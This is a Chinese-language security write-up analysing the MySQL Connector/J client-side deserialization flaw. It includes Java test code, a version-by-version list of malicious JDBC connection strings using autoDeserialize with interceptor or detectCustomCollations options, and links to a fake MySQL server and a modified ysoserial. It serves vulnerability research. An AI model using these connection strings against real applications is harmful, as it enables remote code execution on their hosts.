MySQL JDBC 客戶端反序列化漏洞分析

首發安全客:https://www.anquanke.com/post/id/203086


這幾天學習了BlackHat Europe 2019的議題《New Exploit Technique In Java Deserialization Attack》, 膜拜師傅們的同時,做一個簡單的漏洞分析。

該漏洞需要能夠控制客戶端的JDBC連接串,在連接階段即可觸發,無需繼續執行SQL語句。

測試代碼

需要自行根據版本選擇JDBC連接串,最後有基於各版本Connector連接串的總結。

public class test1 {
    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";//8.x使用
        //String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(DB_URL);
    }
}

MySQL服務器使用:https://github.com/fnmsd/MySQL_Fake_Server

一個可以方便的輔助MySQL客戶端文件讀取和提供MySQL JDBC反序列化漏洞所需序列化數據的假服務器,看本文前請先簡單看下工具說明。

這裏提供一份我加了JRE8u20的YSOSerial用以測試(集成了n1nty師傅的代碼,膜一下):

鏈接:https://pan.baidu.com/s/12o5UFaln0qDUo0hPcIR1Eg 提取碼:qdfc

ServerStatusDiffInterceptor觸發方式

原議題中使用這種方法,環境應該是8.x的connector

此處分析環境使用mysql-java-connector 8.0.14+jdk 1.8.20

參考 MySQL Connector/J 8.0 連接串參數屬性手冊

**queryInterceptors:**一個逗號分割的Class列表(實現了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query"之間"進行執行來影響結果。(效果上來看是在Query執行前後各插入一次操作)
**autoDeserialize:**自動檢測與反序列化存在BLOB字段中的對象。

所以如上所述,如果要觸發queryInterceptors則需要觸發SQL Query,而在getConnection過程中,會觸發SET NAMES utfset autocommit=1一類的請求,所以會觸發我們所配置的queryInterceptors。

ServerStatusDiffInterceptorpreProcess方法(執行SQL Query前需要執行的方法),調用了populateMapWithSessionStatusValues

在這裏插入圖片描述
執行了SHOW SESSION STAUS語句並獲取結果,繼續跟入resultSetToMap方法:

在這裏插入圖片描述

ResultSetImpl的getObject方法,當MySQL字段類型爲BLOB時,會對數據進行反序列化,所以此處只要保證第1或第2字段爲BLOB且存存儲了我們的序列化數據,即可觸發。

額外說一句: 確定字段爲BLOB類型除了協議報文中列字段類型爲BLOB以外,還需要FLAGS大於128、來源表不爲空,否則會被當做Text,開發工具的時候這塊卡了好久。

在這裏插入圖片描述

測試過程中發現5.x、6.x無法正常使用,參考mysql java connector的5.16.08.0的連接串說明,經過分析各版本代碼後總結:

  1. 從6.0開始主要使用的包名從·com.mysql變爲了com.mysql.cj,所以ServerStatusDiffInterceptor所在位置也有所改變。

  2. 5.1.11-6.0.6使用的interceptors屬性爲statementInterceptors,8.0以上使用的爲queryInterceptors。(這塊不是很確定,因爲6.0的手冊上說從5.1.11就開始變爲queryInterceptors,但是實際測試後仍爲statementInterceptors)

  3. 5.1.11以下,無法直接通過連接觸發:

    在執行getConnection時,會執行到com.mysql.jdbc.ConnectionImpl中如下代碼塊:

在這裏插入圖片描述

可以發現上面標示的兩行代碼交換了位置(emm,不是完全一樣,領會精神)。

前面分析所述的連接時的SQL查詢是在createNewIO方法中會觸發,但是由於5.1.10及以前,Interceptors的初始化在createNewIO之後,導致查詢觸發前還不存在Interceptors,故無法在getConnection時觸發。

PS: 如果繼續使用獲取的連接進行SQL執行,還是可以觸發反序列化的。

detectCustomCollations觸發方式

這個點最早貌似是chybeta師傅找出來的,膜一下。

一點要看的題外話: 看前面提到的5.x的手冊,detectCustomCollations這個選項是從5.1.29開始的,經過代碼比對,可以認爲detectCustomCollations這個選項在5.1.29之前一直爲true。

測試環境中使用mysql-connector-java 5.1.29+java 1.8.20:

觸發點在com.mysql.jdbc.ConnectionImplbuildCollationMapping方法中:

(調用棧就不放了,打個斷點就到了)

在這裏插入圖片描述

可以看到兩個條件:

  1. 服務器版本大於等於4.1.0,並且detectCustomCollations選項爲true

PS: 5.1.28的這條判斷條件只有服務器版本大於4.1.0

  1. 獲取了SHOW COLLATION的結果後,服務器版本大於等於5.0.0纔會進入到上一節說過的resultSetToMap方法觸發反序列化

在這裏插入圖片描述

此處getObject與前文一致不再贅述,此處只需要字段2或3爲BLOB裝載我們的序列化數據即可。

由於從5.1.41版本開始,不再使用getObject的方式獲取SHOW COLLATION的結果,此方法失效。

5.1.18以下未使用getObject方式進行獲取,同樣無法使用此方法:

在這裏插入圖片描述

總結下可用的連接串

用戶名是基於MySQL Fake Server工具的,具體使用中請自行修改。

ServerStatusDiffInterceptor觸發:

8.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

6.x(屬性名不同):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

5.1.11及以上的5.x版本(包名沒有了cj):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

5.1.10及以下的5.1.X版本: 同上,但是需要連接後執行查詢。

5.0.x: 還沒有ServerStatusDiffInterceptor這個東西┓( ´∀` )┏

detectCustomCollations觸發:

5.1.41及以上: 不可用

5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc

5.1.28-5.1.19:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc

5.1.18以下的5.1.x版本: 不可用

5.0.x版本不可用

總結

以上總結通過MySQL JDBC Connector觸發漏洞的兩種方法分析以及相關版本情況,希望能對大家有所幫助。

由於仍舊是Java反序列化漏洞的範圍,依然需要運行環境中有可用的Gadget。

再次膜發現漏洞的幾位師傅~

參考文獻

漏洞相關:

https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

https://www.cnblogs.com/Welk1n/p/12056097.html

https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload

MySQL java Connector手冊:

https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-configuration-properties.html

https://docs.oracle.com/cd/E17952_01/connector-j-6.0-en/connector-j-6.0-en.pdf

https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-configuration-properties.html

最後是招聘啓事哈

360雲安全團隊目前大量招聘中,歡迎各位大佬投遞簡歷,大家一起來愉快地玩耍~

https://www.anquanke.com/post/id/200462

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章